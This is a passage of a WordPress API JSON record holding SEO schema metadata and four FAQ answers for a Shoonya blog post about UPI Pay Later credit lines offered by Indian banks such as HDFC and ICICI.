Payments\",\"datePublished\":\"2023-10-19T07:07:07+00:00\",\"dateModified\":\"2023-10-19T09:03:33+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/\"},\"wordCount\":1112,\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/10\\\/19_Oct_Daily-Blog_2-1.jpg\",\"keywords\":[\"hdfc pay later\",\"icici pay later\",\"pay later upi\",\"UPI now Pay Later\",\"upi pay later\"],\"articleSection\":[\"News\"],\"inLanguage\":\"en-US\"},{\"@type\":[\"WebPage\",\"FAQPage\"],\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/\",\"name\":\"UPI Pay Later: A Convenient Payment Solution\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/10\\\/19_Oct_Daily-Blog_2-1.jpg\",\"datePublished\":\"2023-10-19T07:07:07+00:00\",\"dateModified\":\"2023-10-19T09:03:33+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"description\":\"Explore the world of UPI Pay Later, including HDFC and ICICI Pay Later services, offering flexible credit options for online payments.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/#breadcrumb\"},\"mainEntity\":[{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/#faq-question-1697697862769\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/#faq-question-1697697878692\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/#faq-question-1697697904209\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/#faq-question-1697697925195\"}],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/#primaryimage\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/10\\\/19_Oct_Daily-Blog_2-1.jpg\",\"contentUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/10\\\/19_Oct_Daily-Blog_2-1.jpg\",\"width\":1920,\"height\":1080,\"caption\":\"UPI Pay Later: A Convenient Payment Solution\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"News\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/latest-news\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"UPI Pay Later: Latest Revolution in Online Payments\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\",\"name\":\"\",\"description\":\"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"caption\":\"admin\"}},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/#faq-question-1697697862769\",\"position\":1,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/#faq-question-1697697862769\",\"name\":\"What is PayLater in UPI?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"PayLater in UPI is a feature allowing you to use a pre-approved credit line to make UPI transactions and pay within a specified time frame. It offers flexibility and convenience for managing expenses and emergencies.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/#faq-question-1697697878692\",\"position\":2,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/#faq-question-1697697878692\",\"name\":\"How do I activate PayLater in UPI?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"To activate PayLater in UPI, have an account with a participating bank like HDFC or ICICI, meet eligibility criteria, and apply through internet banking, mobile apps, or UPI platforms. You'll receive a credit limit and a dedicated UPI ID for payments.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/#faq-question-1697697904209\",\"position\":3,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/#faq-question-1697697904209\",\"name\":\"How can I get money from PayLater?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"PayLater is for making payments, not receiving money. However, indirect methods like using Mobikwik or Paytm for transactions can allow you to access funds, but these methods come with potential risks and should be used with caution.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/#faq-question-1697697925195\",\"position\":4,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/upi-pay-later-a-convenient-payment-solution\\\/#faq-question-1697697925195\",\"name\":\"Can I transfer money from PayLater to a bank account?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"PayLater doesn't provide a direct transfer to a bank account. Indirect methods involving liquid funds or FASTag wallet top-ups can be used to move funds, but they may not be secure, reliable, or cost-effective and may attract income tax scrutiny.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"UPI Pay Later: A Convenient Payment Solution","description":"Explore the world of UPI Pay Later, including HDFC and ICICI Pay Later services, offering flexible credit options for online payments.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/","og_locale":"en_US","og_type":"article","og_title":"UPI Pay Later: A Convenient Payment Solution","og_description":"Explore the world of UPI Pay Later, including HDFC and ICICI Pay Later services, offering flexible credit options for online payments.","og_url":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/","article_publisher":"https:\/\/www.facebook.com\/ShoonyaApp\/","article_published_time":"2023-10-19T07:07:07+00:00","article_modified_time":"2023-10-19T09:03:33+00:00","og_image":[{"width":1920,"height":1080,"url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/10\/19_Oct_Daily-Blog_2-1.jpg","type":"image\/jpeg"}],"author":"admin","twitter_card":"summary_large_image","twitter_title":"UPI Pay Later: A Convenient Payment Solution","twitter_description":"Explore the world of UPI Pay Later, including HDFC and ICICI Pay Later services, offering flexible credit options for online payments.","twitter_image":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/10\/19_Oct_Daily-Blog_2-1.jpg","twitter_creator":"@shoonyaapp","twitter_site":"@shoonyaapp","twitter_misc":{"Written by":"admin","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#article","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/"},"author":{"name":"admin","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"headline":"UPI Pay Later: Latest Revolution in Online Payments","datePublished":"2023-10-19T07:07:07+00:00","dateModified":"2023-10-19T09:03:33+00:00","mainEntityOfPage":{"@id":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/"},"wordCount":1112,"image":{"@id":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/10\/19_Oct_Daily-Blog_2-1.jpg","keywords":["hdfc pay later","icici pay later","pay later upi","UPI now Pay Later","upi pay later"],"articleSection":["News"],"inLanguage":"en-US"},{"@type":["WebPage","FAQPage"],"@id":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/","url":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/","name":"UPI Pay Later: A Convenient Payment Solution","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#primaryimage"},"image":{"@id":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/10\/19_Oct_Daily-Blog_2-1.jpg","datePublished":"2023-10-19T07:07:07+00:00","dateModified":"2023-10-19T09:03:33+00:00","author":{"@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"description":"Explore the world of UPI Pay Later, including HDFC and ICICI Pay Later services, offering flexible credit options for online payments.","breadcrumb":{"@id":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#breadcrumb"},"mainEntity":[{"@id":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#faq-question-1697697862769"},{"@id":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#faq-question-1697697878692"},{"@id":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#faq-question-1697697904209"},{"@id":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#faq-question-1697697925195"}],"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#primaryimage","url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/10\/19_Oct_Daily-Blog_2-1.jpg","contentUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2023\/10\/19_Oct_Daily-Blog_2-1.jpg","width":1920,"height":1080,"caption":"UPI Pay Later: A Convenient Payment Solution"},{"@type":"BreadcrumbList","@id":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/shoonya.com\/blog\/"},{"@type":"ListItem","position":2,"name":"News","item":"https:\/\/shoonya.com\/blog\/latest-news\/"},{"@type":"ListItem","position":3,"name":"UPI Pay Later: Latest Revolution in Online Payments"}]},{"@type":"WebSite","@id":"https:\/\/shoonya.com\/blog\/#website","url":"https:\/\/shoonya.com\/blog\/","name":"","description":"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/shoonya.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a","name":"admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","caption":"admin"}},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#faq-question-1697697862769","position":1,"url":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#faq-question-1697697862769","name":"What is PayLater in UPI?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"PayLater in UPI is a feature allowing you to use a pre-approved credit line to make UPI transactions and pay within a specified time frame. It offers flexibility and convenience for managing expenses and emergencies.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#faq-question-1697697878692","position":2,"url":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#faq-question-1697697878692","name":"How do I activate PayLater in UPI?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"To activate PayLater in UPI, have an account with a participating bank like HDFC or ICICI, meet eligibility criteria, and apply through internet banking, mobile apps, or UPI platforms. You'll receive a credit limit and a dedicated UPI ID for payments.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#faq-question-1697697904209","position":3,"url":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#faq-question-1697697904209","name":"How can I get money from PayLater?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"PayLater is for making payments, not receiving money. However, indirect methods like using Mobikwik or Paytm for transactions can allow you to access funds, but these methods come with potential risks and should be used with caution.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#faq-question-1697697925195","position":4,"url":"https:\/\/shoonya.com\/blog\/upi-pay-later-a-convenient-payment-solution\/#faq-question-1697697925195","name":"Can I transfer money from PayLater to a bank account?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"PayLater doesn't provide a direct transfer to a bank account. Indirect methods involving liquid funds or FASTag wallet top-ups can be used to move funds, but they may not be secure, reliable, or cost-effective and may attract income tax scrutiny.","inLanguage":"en-US"},"inLanguage":"en-US"}]}},"_links":{"self":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/5374","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/comments?post=5374"}],"version-history":[{"count":3,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/5374\/revisions"}],"predecessor-version":[{"id":5378,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/5374\/revisions\/5378"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media\/5379"}],"wp:attachment":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media?parent=5374"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/categories?post=5374"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/tags?post=5374"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}